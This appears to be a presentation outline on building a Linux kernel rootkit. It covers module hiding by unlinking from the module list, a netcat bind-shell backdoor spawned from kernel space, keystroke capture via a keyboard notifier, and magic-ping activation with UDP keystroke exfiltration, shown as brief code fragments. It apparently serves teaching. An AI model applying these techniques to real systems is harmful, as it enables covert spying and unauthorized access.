Rootkit
Rootkit: Keylogger/Backdoor

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Outline

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Introduction

- General: Rootkit
  - Software
  - Root privileges
  - Masking existence
- Our tool: Linux kernel rootkit
  - Keylogging
  - Backdoor

Introduction: Kernel Modules

- Kernel Modules
  - No rebuild
  - No reboot
- Example:

```
1  #include <linux/module.h>
2  #include <linux/kernel.h>
3
4  int init_module(void){
5          printk(KERN_INFO "Hello world 1.\n");
6          return 0;
7  }
8  void cleanup_module(void){
9          printk(KERN_INFO "Goodbye world 1.\n");
10 }
11
12 module_init(init_module);
13 module_exit(cleanup_module);
14
15 MODULE_LICENSE("GPL");
```

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Hiding

- Mask existence
  - Kernel modules not visible as a process
- `lsmod`
  - special exported symbol `extern struct module __this_module;`
  - list_del (&(__this_module. list));

```
1   struct module {
2       enum module_state state;
3
4           /* Member of list of modules */
5           struct list_head list;
6
7           /* Unique handle for this module */
8           char name[MODULE_NAME_LEN];
9           ..
10          // skipped for brevity
11  }
```

Backdoor

- Spanning userland process
  - `netcat -l -p 6666 -e /bin/sh`
  - `call_usermodehelper`

backdoor.c

Keylogging

- Linux Kernel provides function
  - Register a struct notifier_block keyboard_notifier
- keyboard_hook gets keycode as input
  - Mapping: Keycode → Character (US)

```
1  #include <linux/keyboard.h>
2
3  static struct notifier_block keyboard_notifier = {
4    .notifier_call = keyboard_hook
5  };
6
7  int keyboard_hook(struct notifier_block *, unsigned long code, void *);
8
9  register_keyboard_notifier(&keyboard_notifier);
```

Networking and Activation

- Magic Packet
  - Ping Request where ID == Code
  - Used codes: 122 - 126
  - Netfilter API
- Sending key characters
  - UDP datagram socket

Outline

Livedemo

Demo...

Outline

Summary

- Simple rootkit: easy
- Perfect rootkit: very hard

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